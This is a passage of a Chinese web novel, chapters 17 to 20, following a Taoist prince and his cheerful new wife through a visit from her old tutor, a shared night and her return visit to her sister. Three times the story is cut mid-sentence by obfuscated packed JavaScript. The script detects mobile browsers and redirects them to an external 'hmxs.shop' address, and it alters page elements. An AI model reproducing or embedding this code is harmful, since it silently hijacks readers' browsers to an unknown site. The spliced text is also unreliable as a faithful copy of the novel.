他伸手摸向自己的脸颊,手指在嘴角处停留了许久,眸中似是迷雾浓浓,让他有些看不清眼前的景象了…… 又一阵风袭来,门框忽得一砸,李长昀身子微微一颤,这才反应过来,快步走到门口,迟疑了一瞬,便决绝地将门关上。 关得严严实实。 李长昀长长呼出一口气,回到了桌案前坐下,拿起了那个刚刚成形的小人俑。 手指的触感温热,鼻息中残存着桃花香气,李长昀微微蹙眉,手中紧握着银刀,想再修饰一番。 雕刻不仅能练习力道,还能稳定心神,手上功夫精细、心思稳定严谨,才能修身修心。 可李长昀手指一歪,人俑发丝处刻出了一道裂痕,李长昀眉心蹙得更紧,想将那裂痕修补,忙了许久,却发现那裂痕愈发明显,故而只能放弃,转手便将那小人俑扔进了废料之中。 李长昀吐出一口浊气,唤来了夏原,道:“通报王妃一声,今夜本王在书房歇息。” 夏原惊讶道:“王爷,今日可是新婚第一日……” 李长昀抿了抿唇,道:“翠嬷嬷她们三人可有异动?” “没有,伺候得还算尽心。” 李长昀转身,将双手背在身后,道:“照本王的话去做吧。” 夏原便不再多言,领命去了,李长昀熄了蜡烛,盘腿在屏风后的榻上,闭上双目开始默念《太平经》,竭力使自己静下心来…… 而夏原将话带到听松院时,姜奕安并无半分不开心,当即沐浴倚靠在床榻上看话本子。 今日的床榻铺了三层被褥,还在墙边围满了迎枕,比昨夜舒服多了。 姜奕安实在满意得很,睡了个好觉,第二日醒得也颇早,早膳已然大变样,白粥里掺了肉糜,还有一叠栗子糕。 味道也甚好,原来宸王府的厨子是这般水准! 姜奕安更满意了。 这样的日子,和婚前也没什么差别嘛! 早膳用完,翠嬷嬷一边吩咐碧澄、红药收拾碗碟,一边偷偷打量姜奕安的神色,道:“昨夜王爷在书房歇着了,王妃不差人去问问吗?” 姜奕安“啊”了一声,道:“要问什么?” “昨日是新婚第一日,王爷便撇下了王妃,新婚夫妻正是蜜里调油的时候,恨不得整日都黏在一起,老奴还从未见过王爷这样冷淡的……”翠嬷嬷一脸语重心长,道,“还请王妃恕老奴多嘴,老奴这也是为王妃着想。” 姜奕安眨了眨眼睛,点点头道:“多谢嬷嬷提醒,我明白的。” 她和李长昀本就是面子夫妻,她当然不在意李长昀夜里在哪里歇息…… 翠嬷嬷是内务府派来的人,那就是太皇太后的人,既然李长昀觉得不必在她面前演戏,那她自然也不必多费心神,敷衍着就是了。 翠嬷嬷见姜奕安似是听进去了,但还一脸单纯懵懂,叹息了一声,便退下了。 拂冬见翠嬷嬷离去,便凑近姜奕安道:“娘子,奴婢觉得,翠嬷嬷所言倒也有理。” “拂冬,王爷本身就一心修道,不与我亲近再正常不过,此事成婚之前我便已经想好了,自是能接受,才心甘情愿嫁过来的。”姜奕安拉住拂冬的手,道,“旁人我不管,你须得和我一条心。” 拂冬自是为姜奕安不平,自家娘子容色好、性子好,在她眼中,多好的郎君都配得上,偏偏嫁给了个睁眼瞎…… 拂冬叹息了一声,她做奴婢的,自然是主子觉得好就好,便应下以宽她的心。 姜奕安便让拂冬陪着自己,在王府到处走走,顺便消食,张瞻早早等在了听松院门口,自告奋勇陪着一起,姜奕安自然不会拒绝。 张瞻在前面引着路,一边介绍着王府各处:“咱们王府只有一个前院,是王爷会客用的,穿过前院便是三个院子,分别是听松院、引梅院和倚兰院,中轴线上的听松院是王爷的,其余两个院子现在是没人住,但一直好生打扫着,等王府有了小主子,就能去住啦。” “咱们王府景致也极好,每个院子里都有一个精致的小园子,听松院中的竹林、奇石和锦鲤,还有好些约莫生长百余年的老松,引梅院到了冬日是梅香满园,倚兰院则是各式兰花都有,等有了小主子,不怕没地方养的。” 张瞻兴致勃勃,半句不离“小主子”,姜奕安只觉得尴尬,不愿戳破他的美好想象,只听着,时不时应两声。 其实宸王府景致大气、素雅,姜奕安觉得有些欣赏不来,她更喜欢仁国公府花香满园的感觉,想着等抽空要好生改造一番听松院才是。待她走完了一圈,便问道:“张叔,王爷是在书房吗?我想去寻他了。” 她还要学雕刻呢。 张瞻尴尬地笑笑,道:“王爷正在前厅会客呢。” 姜奕安没听说有客人,便问道:“是哪位客人呀?” 一行人很快走到了书房门口,便见李长昀正引着一位长者,穿过昨夜姜奕安走过的小桥,往书房走来,待看到姜奕安后,脚步微顿,复又加快了许多。 姜奕安向李长昀笑着,待看清他身后的老者后,惊得瞪大了眸子,还没等两人走上前来,便迫不及待地跑上前去,道:“是陈夫子吗!” 陈云鹤捋着胡须,哈哈大笑道:“小奕安,这么多年不见,竟不认得了吗?” 姜奕安恭恭敬敬向他行了一个师礼,脸上笑容更甚,道:“怎么可能!我只是没想到会在这里遇见您。” 姜奕安目光落在陈云鹤的一身道袍上,道:“您是做道士了吗?” “是啊,孑然一身,只觉得红尘了无意趣,索性皈依道门,了此残生。” 姜奕安又看向一脸平静的李长昀,目光在二人之间游离着,道:“那您和王爷是……” “既是志同道合的忘年交,又是修道之路的同行人。”陈云鹤脸上的笑容淡了些,望了李长昀一眼,又道,“他既新婚,贫道必得来贺。” “只是出家之人,无身外之物,贫道手抄了经书,供奉三清真人座下,祝王爷王妃白头偕老。” 姜奕安却有些担忧地望了李长昀一眼,道:“可是,王爷是修道之人,若三清真人知晓了他成婚之事,岂非让真人觉得,王爷修行之心不诚,有碍他日后得道成仙?” 陈云鹤瞥了李长昀一眼,忍俊不禁道:“小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16679053|188352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奕安懂得还挺多呢,不过不必担心,并未正式皈依,真人不会怪罪,更何况,娶妻这样的好事,若不是贫道年事已高,也想……” 李长昀轻飘飘地看向陈云鹤,陈云鹤却觉得那像一记眼刀,便立刻转了话题,道:“贫道今日来贺,是不是打扰你们小夫妻了?” 李长昀还未开口,姜奕安便抢着道:“自然不会啊,您不知道,见到您我有多惊喜呢!” “您可要多呆些时辰,我好陪您说说话。” 姜奕安是真的很喜欢陈夫子。 陈夫子与父亲是同科,与父亲的古板规矩不同,陈夫子随和舒朗,她小时候不爱读书,父亲管不了她,便是陈夫子有空时陪她玩乐、带她念书。 只是九年前,陈云鹤突然辞官,杳无音讯了。 李长昀瞧了一眼姜奕安兴奋的模样,微微蹙了蹙眉。 她一见陈云鹤,便好像忘记今日约定学习雕刻的事情了…… 李长昀扯了扯唇角,便也没再提起。 三人在园中亭子里坐下说了好一会话,到了午膳时分便一起用膳。 让姜奕安惊讶的是,陈云鹤竟不忌口,不仅荤素不忌,而且胃口极好,用膳时还会时不时和姜奕安聊几句,但李长昀还是那副慢条斯理的模样,并不言语,一味吃那些素菜,仿佛身处另一个世界。 姜奕安这才意识到,原来这世上的修道之人,也各有不同…… 午膳过后,陈云鹤定要和姜奕安切磋棋艺,姜奕安立刻拒绝:“陈夫子这么多年没教我下棋,那棋艺我早还给陈夫子了。” 陈云鹤啧啧两声,道:“夫子教你的东西都忘了,竟还这般大言不惭。” 姜奕安理直气壮道:“那陈夫子学会下棋已经二十余年了,我才学了几年,这比起来根本不公平。” 陈云鹤冲李长昀挑了挑眉,道:“你现在不是有夫君吗?让你夫君帮你啊……” 李长昀抬了抬眉,眸中似隐含着威胁之意,陈云鹤装作没看见,只一脸笑意地瞧着姜奕安。 姜奕安对下棋兴致缺缺,一手托着下巴道:“那不如你们二人对弈,我旁观吧,就不班门弄斧,惹人笑话了。” 春夏之交,凉亭之中偶有阵风拂过,颇有几分凉意,陈云鹤与李长昀对弈十分火热,姜奕安坐在一旁看着,只是大部分都看不太懂,不一会就有些困了。 李长昀正心无旁骛思忖下一步该如何走,却感觉放在石案上的左小臂一沉,戴着木戒的拇指有些发痒,扭头便见姜奕安的小脑袋压在了自己的胳膊上。 她就这样睡着了。 李长昀手指中夹着的棋子,掉进了棋盅…… 陈云鹤微愣,接着便忍俊不禁悄声道:“她还是这副样子……” 李长昀感觉被压着的左臂有些麻,抿了抿唇又拿起棋子,却听陈云鹤道:“你说你,今日一早便非要请我来府中,让我恭贺你新婚之喜,我这小徒儿难道是洪水猛兽不成,让你这般抗拒与她单独相处?” 李长昀眉心微蹙,道:“谁说我抗拒与她单独相处了?” “得了吧。”陈云鹤摇摇头,将棋子投向棋盅,道,“还下什么棋,快把人抱回去睡吧。” 李长昀闻言,手臂抽动了一下…… 18. 第 18 章 姜奕安似是感受到李长昀抽动了胳膊,伸出一只手握住了他的小臂,小脸还轻轻蹭了蹭。 李长昀登时全身僵直,一动不动,双眸微眯看向陈云鹤,道:“这玩笑并不好笑。” “我也并未同你开玩笑。”陈云鹤耸耸肩,道,“如今虽快要入夏,可这亭中凉风阵阵,若是就这样睡着,只怕着了风寒。” 李长昀不语,垂眸看向姜奕安,只见她抱着自己的手臂,脸色红润、形容娇憨,唇角还扬起了一丝若有若无的微笑。 又一阵风袭来,姜奕安的一缕发丝飘在了她的脸颊上,她似是感觉有些痒,又将脸往李长昀的手臂上埋了埋。 李长昀右手登时在身侧攥紧,打量着姜奕安的姿势,叹息了一声,缓缓挪动着手臂。 姜奕安身子一颤,便醒了。 她揉了揉惺忪的睡眼,缓缓起身,一脸懵懂地看向二人,只见陈云鹤摇头叹气不语,李长昀手臂放在身前也是一语不发。 她有些懵。 李长昀问道:“困吗?” 姜奕安还没完全清醒,只点了点头。 李长昀继续道:“去歇会吧,这里我陪着。” 姜奕安又转头看向陈云鹤,见陈云鹤一脸慈爱地点头,便摇摇晃晃地站起身行礼,往听松院走去。 陈云鹤望着姜奕安的背影,又见李长昀目光定定地望着棋盘,忍不住啧啧道:“够狠心的啊。” 李长昀那被姜奕安当过枕头的手臂还有些发麻,且那酥麻之意似有往胸腔攀爬之势。 李长昀攥了攥拳将那股痒意逼退,拿起棋子,干脆利落地落子道:“并非狠心,我若抱她回房,须得先将胳膊抽走,她还是会醒。” “总归都会醒,不都是一样的吗?” “独自和并行,怎能一样?”陈云鹤瞧了一眼棋盘,轻笑了一声,道,“哈!下了个臭棋!” 接着,陈云鹤一子定江山,毫不留情地蚕食了李长昀的大半棋子。 …… 姜奕安这一觉并未睡太久,醒来后又去了园子,见二人竟还在对弈,不禁啧啧称奇。 这样无聊的事,竟还能做这么久…… 姜奕安实在没兴趣,便一时兴起去了庖厨,看过菜单后,便按照自己的记忆,换了几道陈云鹤爱吃的菜,又对几道菜的做法提出了建议。 宸王府的大厨姓孙,听得频频点头,就这样和姜奕安聊了起来,竟还颇有些惺惺相惜的意味。 姜奕安要离开庖厨时,孙大厨还有些恋恋不舍,道:“王妃若是想吃什么,定要来跟我说!” 姜奕安愉快地应下,心中得意得紧,这一来和庖厨打好了交道,日后想吃什么新花样也方便许多。 晚膳是在前厅用的,陈云鹤兴致颇高,对着菜肴频频赞口不绝,甚至还要小酌几杯,倒是没问李长昀,直接问姜奕安要不要来一杯。 姜奕安有些想喝,刚要接过,酒坛却被李长昀夺走了。 “她不能饮酒。”李长昀淡然地将酒坛又放在了陈云鹤一旁,道,“你只能饮三杯。” “我酒量很好的。”姜奕安有些不服气,刚要继续反驳,却见李长昀轻飘飘地看向自己,眉似是挑了挑,言简意赅吐出三个字“望月楼”。 姜奕安顿时老实了。 陈云鹤颇为嫌弃地瞥了一眼李长昀,道:“你这人,真是无趣极了。” 三杯酒过后,陈云鹤竟有些醉了,喃喃道:“宸王殿下,昨夜我又梦到我弟弟了……” “他浑身湿透了,在水里挣扎。”陈云鹤目光呆滞,“我不该……不该同意他参军……” “诸葛老贼!” 陈云鹤忽得站起身,抱住酒坛,还要一饮而尽。 “你醉了。”李长昀微微蹙眉,随之起身,一手便掌住了他怀中的酒坛,一手抓住了他的另一只胳膊,陈云鹤登时动弹不了了。 春雷和夏原急忙将陈云鹤架住了,似是还捂住了他的嘴,李长昀松手后,道:“将他送到后堂的客房睡下吧。” 姜奕安一脸惊讶地站起身,吩咐人去煮醒酒汤,看向李长昀道:“夫子的弟弟……怎么了?” 李长昀眉心轻蹙,道:“曾是平西军中人,死在了西北。” “啊!”姜奕安闻言捂住唇,眼圈有些发红,喃喃道,“原来是这样啊……” 姜奕安眉心轻轻蹙了蹙,又问道:“诸葛老贼……是诸葛首辅吗?” 李长昀望了她一眼,只道:“你听错了。” “哦。”姜奕安很确定自己没听错,但也知道有些不该知晓的,还是装傻的好,看着一滩烂泥般被架出去的陈云鹤,忍不住道,“陈夫子的酒量这般差吗……” 李长昀将酒坛往桌案上一放,摩挲了一下,道:“王府的酒比较烈罢了。” 姜奕安好奇地看向酒坛,想拿起来仔细瞧瞧是什么酒,却被李长昀眼疾手快地递给了张瞻,道:“收好了。”接着便往后堂客房走去。 姜奕安也迈着大步跟上了,一边偷偷打量着李长昀的脸色,道:“看来王爷修道之前,很爱饮酒啊。” 李长昀脚步并未停下,只道:“何以见得?” 姜奕安快跑了两步,略超过了他,一脸得意地歪头瞧他,道:“若王爷滴酒不沾,如何能知道王府的酒烈,又怎会在府中囤烈酒呢?” 李长昀垂眸瞥了她一眼,并未答话,姜奕安继续道:“其实饮酒不是什么坏事,不要过量即可,小酌还是怡情的。” “等回头我差人去买些劲不大的好酒来,我们一起在府中吃。” 李长昀仍是一语不发,在客房门口见二人已将陈云鹤弄上了床榻,刚要迈步进去,却忍不住皱了皱鼻子,又后退了两步,道:“今夜你二人照顾好他。” 二人应下,姜奕安则眨了眨眼,道:“那王爷今夜回听松院歇息吧,明日我们好一起回门。” 春雷和夏原的动作登时放轻了,支棱着耳朵好生听着门外的动静。 李长昀正迟疑着,姜奕安便拽住了他的衣袖,直接替他做了决定。 “我在床榻上铺了好几层厚厚的被褥,现在睡起来舒服多了,跟我去试试就知道啦!” 李长昀从没觉得前厅到听松院的路这么短过,自己的衣袖被扯住,虽然于他而言,很轻易就能挣脱开,但他并没有…… 碧澄和红药看到姜奕安扯着李长昀的袖子,俱是一惊,便退到了一旁,姜奕安拉着李长昀进了内室,邀功似的向他展示床榻,道:“怎么样,来试试舒服嘛?” 李长昀的衣袖被解放了,他的手臂在空中停留了一瞬,便背在了身后,摩挲着拇指上的木戒,只道:“你沐浴了吗?” 姜奕安立刻从床榻上跳了起来,往湢室走去,一边道:“拂冬,将我那桃花香胰子备好,我要沐浴啦。” 内室之中,只剩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16695165|188352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下李长昀一人,李长昀坐在桌案前斟了一杯茶,目光看向床榻,只见那榻上铺了厚厚的好几层被褥,皆是花团锦簇、柔软非常。 她倒是很会享受,从不亏待自己…… 姜奕安沐浴过后,进了内室带来了满屋的桃花香气,李长昀呼吸一滞,目光落在她身上,目之所及便是她纤细优美的脖颈,还有被水汽蒸腾过红彤彤的面颊。 李长昀立刻移开目光,也去湢室沐浴,很快回到内室后,便见姜奕安又如洞房花烛那夜似的,倚靠在榻上看话本子,瞧见他来了,只笑着向他摇了摇手中的书,好像还是那本《前朝公主风流情史》。 而且,身子歪斜得厉害,似是完全不避讳他了。 姜奕安将书放好后,身子往后挪了挪,拍了拍床榻,道:“快来试试呀。” 李长昀沉默不语,轻轻坐在了床榻上,确实,十分柔软。 “真不知道王爷怎么忍得了那么硬的床榻,过去过的什么苦日子呀……”姜奕安将被褥往身上裹了裹,好奇地歪头看着他,道,“我瞧着,王爷和陈夫子既都是修道之人,那为何陈夫子能饮酒吃肉,比王爷自由散漫得多呀?” 李长昀没想到姜奕安会问这样的问题,略一思忖,便道:“修道不在于行,而在于心,心中有道,才是真的修道。” “那王爷为何要过这样的苦日子啊?”姜奕安抱着被子趴在迎枕上,抬头望向他,道,“王爷道心极稳,心无旁骛,想来无需清规戒律也能打动三清真人。” 李长昀感觉心往下坠了一瞬,目光落在姜奕安脸上,见她刚洗过的发丝在眼前轻轻飘着,干净的小脸神色赤诚、不染纤尘,忽而撇开目光,直接道:“明日陪你回门过后,本王就回城外道观住了。” 姜奕安微微一愣,才认真道:“那需要多备几床被褥带着吗?将王爷在道观的床榻也多铺上几层,睡得舒服。” 李长昀摇头。 姜奕安又道:“那这听松院日后就我一个人住的话,我可不可以修缮装饰一番?” 她早就觉得这院子里除了松树就是松树,实在没意思。 李长昀点头。 姜奕安喜形于色,又道;“那我日后可以邀请姐姐,或者好友来玩吗?” 李长昀迟疑了一瞬,再次点头。 姜奕安感觉这一切都太完美了,笑得眼睛都眯起来了,道:“那等王爷回府之前派人来说一声,我好为王爷接风洗尘!” 李长昀轻轻笑了笑,见姜奕安乖乖躺在了床榻里面,自己也上榻躺下。 蜡烛熄灭了,他直直地躺着,身下的柔软让他浑身放松,如在云端,目之所及便是绯红的帐顶,忽而听到耳边轻柔的声音道:“王爷真好。” 李长昀下意识扭头,便见姜奕安脸颊朝向自己,双目轻闭,一手搭在脸前,唇角弯起一个好看的弧度,俨然睡得极香。 李长昀看了好一会,才猛然间转过头,紧紧闭上双目。 这次成婚不过是一条岔路,明日回了道观,想来一切又能恢复如常,他又能重新回到正路之上…… 然而李长昀再次睁眼时,天已经大亮了。 身下是从未有过的柔软触感,鼻息之间是清新淡雅的桃花香气,扭头便见缩在被褥里的一小团身影。 昨夜,没有连续念经才能逼出来的睡意,没有磨人的头痛,没有痛苦的梦境。 他竟就这样一觉到了天明…… 19. 第 19 章 绯红帐子将日光筛成了暖意融融的桃红,李长昀感觉身上正源源不断地散发热意,目光落在姜奕安脸上,见她笑容恬静、睡容安稳,无半分要醒的意思,便飞快地下了床榻,立在窗边的缝隙,长长吸了一口气。 冰凉的气息入肺,李长昀感觉脑海中清醒了许多。 “王爷,你怎么走了?” 姜奕安声音软软的,还染着些沙哑感,李长昀后背一僵,缓缓回头,便见绯红帐子中露出了一个小脑袋,正歪着头望着自己。 她目光迷离,白皙的脸颊上透着些粉,因着刚醒,神色不免娇憨懵懂…… 姜奕安揉了揉眼睛,冲他露出了笑容,道:“昨夜怎么样呀,是不是睡得很舒服?” 李长昀感觉嘴巴被封住了,无法违心说谎,却也说不出真实感受…… 所幸姜奕安并未等他的答案,懒懒地伸了个懒腰,掀开帐子准备下榻,一双精致小巧的玉足从被褥中钻出来,顺着裤管还露出一小截纤细莹润的小腿。 李长昀心中一颤,立刻转而看向窗外,长长地吐出一口气,听见姜奕安似是已经穿好了鞋袜,这才转过头来。 猝不及防,姜奕安离自己只有不到一尺的距离。 姜奕安已经裹上了外袍,一头青丝散在身上,看起来如最上等的丝绸般顺滑,衬得她肌肤莹白如玉,似是在发光,正好奇地望向窗外,脑袋转来转去,道:“外面有什么好玩的,王爷瞧了这么久?” 姜奕安的发丝蹭过李长昀胸前的衣衫,垂了下去,李长昀身子僵直地贴着墙,鼻息之间却满是桃花香气,已然是避无可避了。 院中只有洒扫的小丫鬟。 姜奕安不觉得李长昀是贪图美色之人,好奇地转头看向李长昀,指了指窗外,道:“王爷是在瞧院子里的婢女吗?” 李长昀一动不动,颇显僵硬道:“不是,只是吹些风,醒神罢了。” 姜奕安又向李长昀的脸凑近了些,一脸惊喜道:“王爷昨夜定是睡得极好,眼下一点乌青也没有了,看起来倒像是我的同龄人了。” 李长昀微微一顿,眉心蹙了蹙,道:“本王以前,眼下乌青很重吗?” “那倒也是不是,只是王爷皮肤白皙衬的,不注意的话瞧不出来的。” 只听得“咕噜”一声,姜奕安捂住了自己的肚子,尴尬地笑笑,道:“是我失礼了,还请王爷莫见怪。” 姜奕安忙跑出去喊拂冬,请她快些传早膳。 桃花气息淡了许多,李长昀突然感觉被赦免了一般,长长地吐出一口气,将窗子合上了。 今日早膳,二人虽在一张桌案上用,但荤素之间,分得明明白白。待用过早膳,李长昀去了前厅,姜奕安则留下梳妆,翠嬷嬷瞧着脸色好了许多,道:“奴婢瞧着,王爷心情好了许多。” “是吗?我倒没觉得。”姜奕安仔细端详着镜中的自己,道,“不过昨夜睡得好,脸色好了许多。” “只要王爷王妃和和美美,我们做奴婢的就开心。”翠嬷嬷仔细地给姜奕安篦发,道,“太皇太后千叮咛万嘱咐,让老奴不仅要好生伺候,还要尽力撮合,老奴瞧着,太皇太后怕是多虑了。” 牵扯到太皇太后,姜奕安就不好多言了,只说了几句客套话。 李长昀则去书房换了一身素白锦袍,袍角和右肩处用银线绣着鹤纹,离开时又忍不住在铜镜面前站了一会,仔细瞧了瞧自己的眼睛。 原来竟是有乌青的吗…… 李长昀摇摇头,将这些思绪都抛下,便去了前院的客房,瞧见了宿醉刚醒的陈云鹤。 陈云鹤看起来精神萎靡许多,整个人有气无力的,但见到早膳之后似是又活了过来,筷子夹着肉包,边吃边道:“你府中这酒真够烈的。” “你瞧着精神倒好。”李长昀伸手撩开袍角在一旁坐下,道,“用过早膳便送你回去,你不能在这里长住。” 陈云鹤点头:“我明白,总不能给你们新婚小夫妻添堵。” 李长昀一默,慢慢道:“今夜我也回道观住了。” 陈云鹤抬眸看了他一眼,嗤笑着道:“就这么让你的新婚王妃独守空房?” “可以让她时不时来道观住啊,咱们玄清观的景致不比这盛京城的牢笼好十倍?”陈云鹤颇觉满意,道,“以她的性子,定是喜欢。” 李长昀双目微眯,道:“慎言。” “我明白,知道的越少越安全。”陈云鹤不耐烦地挥挥手,道,“不过,你最好藏好尾巴,莫被她发现了,她可不一定会帮你……” 李长昀只淡淡地应了一声。 陈云鹤眼珠一转,继续道:“所以,最好还是你们二人两情相悦,到最后,她肯定心甘情愿帮你,然后你们二人双宿双飞……” 李长昀淡淡地瞥了他一眼,起身欲走,陈云鹤立刻唤住他,道:“只是玩笑罢了,莫生气啊……” “你同她说要去道观住,她就十分干脆利落地同意了,没闹情绪?” 李长昀并未坐下,只回头看向他,道:“你这是何意?” 陈云鹤咽下最后一口包子,道:“新婚第三日,夫君就要抛下新妇去住道观,新妇肯定倍感冷落,委屈之极啊,你可得好生补偿她。” 李长昀想起昨夜她的反应,却觉得陈云鹤是多虑了。 得知自己要去道观住,她明明开心得很,瞧那样子,还有些迫不及待了…… 李长昀垂下眸子,长睫敛去了眸中的情绪,不再言语。 …… 姜奕安梳妆完了,便来到前院找陈云鹤,得知他已离开了,还颇觉失望。 今日她梳着板正规矩的妇人发髻,只是发髻上的簪花依然娇俏可爱,衣衫虽是清淡的湖绿,但穿在她身上却莫名的活泼又娇艳。 李长昀的目光只在她身上停留了一瞬便移开了,一板一眼道:“侍奉三清,一日不可废。” 二人一道来到了府门口,姜奕安见张瞻准备的几车回门礼,颇觉惊讶,道:“张叔这是将宸王府搬空了吗?” “王府家底厚实着呢,王妃放心便是。”张瞻哈哈大笑,道,“退一步讲,王妃的亲姐姐,那也是咱们王府的亲人,就算搬空了又如何?” 这话听得舒坦,姜奕安更喜欢张瞻了,不住地向他道谢,回头向李长昀招招手,示意他快些,接着便三步并两步,轻巧地跳上了马车。 李长昀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16704678|188352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惊讶于她身量这般轻盈灵活,倒真像只小燕子。 待李长昀慢条斯理地上了马车坐定,正拿出经书,便见姜奕安郑重其事地看向他,道:“王爷,我能不能跟你商量一件事?” 李长昀已将经书展开看了,轻轻应了一声。 “过会下马车后,我能不能和你手牵手呀?” 李长昀握着经书的手一抖,但面上不显,也未转头看她,只竭力压低声音,道:“为何?” “姐姐希望我和夫君能恩恩爱爱的。”姜奕安将双手搭在小桌案上,下巴抵着手臂,仔细思忖道,“我想,牵手应该算是很恩爱的动作了吧。” “或者,王爷有更恩爱的动作也提出来,我们可以从中挑选一个。” 李长昀僵硬地转过头,看向她的神色颇有些古怪。 “我觉得还是牵手好些,对王爷不算太冒犯。”姜奕安将两只手在身前交握,又十指交叉,在李长昀面前比划着道,“是这样好,还是这样好呀?” 两只柔软白嫩的小手在他眼前晃来晃去,李长昀的目光忍不住随之移来动去…… 姜奕安见李长昀没有反应,有些不满道:“王爷若是不说,那我就当王爷默认啦!” 李长昀发现他这位王妃十分矛盾,既有“不知羞耻”的一面,又有抱朴含真的一面。 从新婚之夜,到今日回门,才短短两整日,她在他面前多次语出惊人,偏偏她自己不自知,那些能羞死寻常娘子的话,她张口就来,毫无障碍,也无所顾忌。 但是,她神色单纯、语气坦荡,俨然一副光明磊落的“真君子”模样,总让生出别样想法的听者感觉,自己是思想龌龊的“真小人”…… 李长昀双手都缩在宽大的衣袖里,紧攥成拳,终于在沉默中缓缓启唇,道:“男女授受不亲,只怕是不太合适……” 姜奕安却不这么认为,道:“可是我们是夫妻呀,不是寻常男女,有什么不合适的?” 姜奕安觉得,她和李长昀是夫妻,亲密程度应该远高于高于陆鸣鹤这样的至交好友。 虽不是真夫妻,但拉拉手又怎么了? 李长昀感觉手心更湿了些,眉心微蹙着,道:“本王恪守戒律,实难助你,还望见谅。” 姜奕安却并未露出失望之色,只饶有兴趣道:“若是你我的手不接触到的话,可以吗?” 李长昀有些怔愣,还未出声,马车便停下了。 姜奕安飞快起身,向李长昀勾了勾手指,便一撩车帘跳下了马车,李长昀迟疑了一瞬,便跟在后面出了马车,便见姜奕安正立在马车下面,双眸亮晶晶地看向他,道:“来呀,我们一起进府。” 李长昀腿长,一撩袍角轻轻一跃便跳下了马车,姜奕安立刻笑着向他伸手。 李长昀以为自己说得够清楚明白了,没想到她还是这般纠缠不休,难免有些不喜,眉心蹙紧了,刚想躲开,姜奕安的胳膊离他的胳膊却只有几寸的距离了。 二人的衣袖纠缠在了一起。 李长昀往边上退步,垂在衣袖中的右手却被一股轻巧的力量给拽住了…… 姜奕安隔着衣袖,用自己的小指,勾住了李长昀的小指…… 20. 第 20 章 姜奕安的力量那般小,李长昀明明立刻便能挣开,可他却感觉自己的右臂被定住了,动弹不得。 “这样可以嘛?”姜奕安扯了扯他的小指,道,“我的手没碰到王爷的手,便不算破戒吧……” 李长昀的手指蜷缩了一下,木戒微微一动,感觉手心湿热更甚,整个右臂跟麻痹了一般,完全动不了,他只得僵硬地转头,道:“可以。” 李长昀不明白姜奕安的这份执着究竟有何意义,非要有亲密接触,才能证明夫妻恩爱吗? 于他而言,肢体接触完全无必要,夫妻之间相敬如宾、客气疏离的也有许多,难道不好吗? 李长昀突然生出些无力感,一想到自己未来六年都要这般应付她的古怪请求,他便感到担忧和困扰…… 姜奕安却觉得这样很好,姐姐火眼金睛,必能看出来她与李长昀并不恩爱,但她得让姐姐瞧瞧,她们二人之间相处至少轻松愉悦,而非冷淡如冰。 那样姐姐能少些担心忧虑。 姜奕安就这样隔着衣袖勾着他的小指,快步进了仁国公府,便见姐姐正立在仁国公府正院,激动地向她挥舞着手帕。 姜奕安见到姐姐的那刻,一切烦心事都没有了,确定姐姐看清二人的动作后,便松开了李长昀的手,张开双臂飞奔上前,和姐姐撞了个满怀,紧紧地抱在了一起。 “姐姐,我好想你呀!” “姐姐你有没有想我想得睡不着觉呀?”姜奕安在姐姐的颈边蹭来蹭去,跟只小猫儿似的。 姜奕宛松开她好生打量了一番,扑哧一声笑了,道:“你可真是,不知羞!” 李长昀立在后面,手指还保持着被姜奕安拉住的状态,眼见姐妹团圆、互诉衷肠,才缓缓放下胳膊,摩挲了一下手指。 温热,柔软,还有些麻酥酥的…… 姐妹二人抱够了,姜奕宛松开妹妹,略显尴尬地上前向李长昀行礼,道:“王爷,还是先进府叙话吧。” 李长昀回了礼,姜奕安冲李长昀笑笑,用口型说了句“多谢”,便挽住了姐姐的胳膊,顺其自然地握住她的手,一边往府中走,一边嘘寒问暖道:“姐姐这几日吃得好不好,睡得香不香?” 李长昀被甩在了身后,他只迟疑了一瞬,便随之跟在了两姐妹身后。 仁国公府比宸王府小了许多,但是景致却秀丽得多,穿过前院满园的梧桐,便进了前厅。 姜奕宛坐在主位,李长昀坐在客位,但姜奕安却搬了个圆凳坐在了姐姐旁边,李长昀瞧着清楚,二人交叠的衣袖下,是紧握的双手。 李长昀的双手均藏在衣袖中,似是握住了虚空…… 姜奕安赖着姐姐不撒手,姜奕宛似是佯装柳眉倒竖,正在用眼神斥责她,姜奕安却拉她手拉得更紧了,姜奕宛察觉到李长昀正看向她们,便不好意思道:“小妹向来性子顽劣,想必这几日给王爷添麻烦了,还请王爷见谅。” 李长昀微微颔首道:“长姐哪里的话,王妃心思赤纯,抱朴含真,本王自愧不如,何来添麻烦之说呢……” 